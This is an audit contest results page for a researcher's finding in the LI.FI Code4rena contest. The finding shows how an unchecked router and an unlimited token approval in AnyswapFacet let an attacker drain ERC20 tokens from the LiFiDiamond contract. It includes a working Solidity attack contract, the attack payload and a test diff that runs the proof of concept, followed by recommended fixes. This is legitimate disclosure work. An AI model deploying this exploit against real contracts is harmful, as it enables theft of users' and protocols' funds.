LI.FI contest - dirk_y's results

Bridge & DEX Aggregation.

General Information

Platform: Code4rena

Start Date: 24/03/2022

Pot Size: $75,000 USDC

Total HM: 15

Participants: 59

Period: 7 days

Judge: gzeon

Id: 103

League: ETH

LI.FI

Findings Distribution

Researcher Performance

Rank: 26/59

Findings: 1

Award: $665.81

🌟 Selected for report: 0

🚀 Solo Findings: 0

Findings Information

🌟 Selected for report: kirk-baird

Also found by: cccz, dirk_y, hickuphh3, rayn

Labels

bug
duplicate
2 (Med Risk)

Awards

665.807 USDC - $665.81

External Links

Lines of code

https://github.com/code-423n4/2022-03-lifinance/blob/main/src/Facets/AnyswapFacet.sol#L35-L53 https://github.com/code-423n4/2022-03-lifinance/blob/main/src/Facets/AnyswapFacet.sol#L131-L149 https://github.com/code-423n4/2022-03-lifinance/blob/main/src/Libraries/LibAsset.sol#L59-L70

Vulnerability details

Impact

HIGH - An attacker can drain the LiFiDiamond contract of any ERC20 tokens.

An attacker can do this in a single transaction for multiple ERC20 tokens with a very simple payload. This effectively undermines the WithdrawFacet.sol contract that only allows the contract owner to withdraw assets.

Proof of Concept

As a PoC, let's assume the attacker wanted to drain the LiFi diamond of USDT. They can do this with a very simple AnyswapData payload when calling startBridgeTokensViaAnyswap (here):

{ token: USDT_ADDRESS, router: ATTACK_CONTRACT, amount: 1, recipient: ANY_ADDRESS, toChainId: 100, // Any chain but the current chain }

where the attack contract could look like so:

// SPDX-License-Identifier: MIT pragma solidity ^0.8.7; import { IAnyswapRouter } from "../Interfaces/IAnyswapRouter.sol"; import { IAnyswapToken } from "../Interfaces/IAnyswapToken.sol"; import { IERC20 } from "../Libraries/LibAsset.sol"; contract AnyswapAttack is IAnyswapRouter, IAnyswapToken { address public diamond; bool public stopOptimisation; constructor(address diamondAddress) { diamond = diamondAddress; } function drainDiamondOf(address token) public { uint256 balance = IERC20(token).balanceOf(diamond); IERC20(token).transferFrom(diamond, msg.sender, balance); } function anySwapOutUnderlying( address token, address to, uint256 amount, uint256 toChainID ) override external { } function anySwapOut( address token, address to, uint256 amount, uint256 toChainID ) override external { } function anySwapOutNative( address token, address to, uint256 toChainID ) override external payable { } function wNATIVE() override external pure returns (address) { // Return the 1 address so that it doesn't equal anyswap underlyingToken return address(1); } function underlying() override external pure returns (address) { // Return the 1 address so that it doesn't equal anyswap underlyingToken return address(0); } }

The first part of this vulnerability exists because startBridgeTokensViaAnyswap function never checks the router address. This allows us to pass in our attack contract and pretend to act as a real Anyswap router. This function then calls _startBridge here with our unchecked input data.

Again, there is no validation in _startBridge to check the router address. The second part of the vulnerability exists from the call LibAsset.approveERC20 here. The LibAsset.approveERC20 function also has a vulnerability in that it approves the router address for MAX_UINT rather than the user input amount (which in this case was 1). The line in question is here. With the other calls to the router, we just do nothing in our attack contract.

What has happened now is that the LifiDiamond contract has approved our attack contract to MAX_UINT of USDT. Now all we have to do is call drainDiamondOf in our attack contract to steal all the USDT from LiFi. This same process can be repeated for every ERC20 token the attacker wishes.

Tools Used

Please apply the following diff to the repo to run the PoC (you will also need to add the attack contract as pasted above in the PoC section). Run tests as usual with yarn test

diff --git a/deploy/008_deploy_anyswap_facet.ts b/deploy/008_deploy_anyswap_facet.ts index 7168c27..25d4d3f 100644 --- a/deploy/008_deploy_anyswap_facet.ts +++ b/deploy/008_deploy_anyswap_facet.ts @@ -19,6 +19,13 @@ const func: DeployFunction = async function (hre: HardhatRuntimeEnvironment) { const diamond = await ethers.getContract('LiFiDiamond') + await deploy('AnyswapAttack', { + from: deployer, + args: [diamond.address], + log: false, + deterministicDeployment: false, + }) + await addOrReplaceFacets([anyswapFacet], diamond.address) } diff --git a/test/facets/AnyswapFacet.test.ts b/test/facets/AnyswapFacet.test.ts index 2b6b4ac..9473326 100644 --- a/test/facets/AnyswapFacet.test.ts +++ b/test/facets/AnyswapFacet.test.ts @@ -1,6 +1,7 @@ /* eslint-disable @typescript-eslint/no-explicit-any */ import { AnyswapFacet, + AnyswapAttack, DexManagerFacet, IERC20, IERC20__factory, @@ -23,6 +24,7 @@ const BEEFY_ROUTER = '0x6fF0609046A38D76Bd40C5863b4D1a2dCe687f73' describe('AnyswapFacet', function () { let lifi: AnyswapFacet + let attack: AnyswapAttack let dexMgr: DexManagerFacet let alice: SignerWithAddress let beefHolder: SignerWithAddress @@ -43,6 +45,8 @@ describe('AnyswapFacet', function () { ) await dexMgr.addDex(UNISWAP_ADDRESS) + attack = <AnyswapAttack>(await ethers.getContract("AnyswapAttack")); + await network.provider.request({ method: 'hardhat_impersonateAccount', params: ['0x6722846282868a9c084b423aee79eb8ff69fc497'], @@ -76,6 +80,7 @@ describe('AnyswapFacet', function () { } token = IERC20__factory.connect(anyUSDT_ADDRESS, alice) await usdt.approve(lifi.address, utils.parseUnits('1000', 6)) + await usdt.transfer(lifi.address, utils.parseUnits("10", 6)); // Let's put 10 usdt into the contract as a demo } ) @@ -98,6 +103,29 @@ describe('AnyswapFacet', function () { await setupTest() }) + it('diamond can be drained of any token balance', async () => { + let AnyswapData = { + token: token.address, + router: attack.address, + amount: 1, // Can use 1 wei for approval of MAX_UINT + recipient: alice.address, + toChainId: 100, // Any chain but the current chain + } + + // Check lifi diamond has existing balance of 10 USDT + expect(await usdt.connect(alice).balanceOf(lifi.address)).to.equal(utils.parseUnits("10", 6)); + + await lifi + .connect(alice) + .startBridgeTokensViaAnyswap(lifiData, AnyswapData, { + gasLimit: 500000 + }); + + await attack.connect(alice).drainDiamondOf(usdt.address); + // We've drained the diamond so now it should have zero balance + expect(await usdt.connect(alice).balanceOf(lifi.address)).to.equal(0); + }); + it('starts a bridge transaction using native token on the sending chain', async () => { const AnyswapData = { token: anyMATIC_ADDRESS,
  1. Fix approveERC20 here:
function approveERC20( IERC20 assetId, address spender, uint256 amount ) internal { if (isNativeAsset(address(assetId))) return; SafeERC20.safeApprove(IERC20(assetId), spender, amount); } }
  1. Add a sanity check for router in _startBridge. Could use a similar mechanism of whitelisting router addresses as with the other bridge facet contracts.

#0 - H3xept

2022-04-12T08:42:33Z

Duplicate of #66

We are aware that the contract allows users to use latent funds, although we disagree on it being an issue as no funds (ERC20 or native) should ever lay in the contract. To make sure that no value is ever kept by the diamond, we now provide refunds for outstanding user value (after bridges/swaps).

#1 - gzeoneth

2022-04-16T17:53:49Z

Duplicate of #117

AuditHub

A portfolio for auditors, a security profile for protocols, a hub for web3 security.

Built bymalatrax © 2024

Auditors

Browse

Contests

Browse

Get in touch

ContactTwitter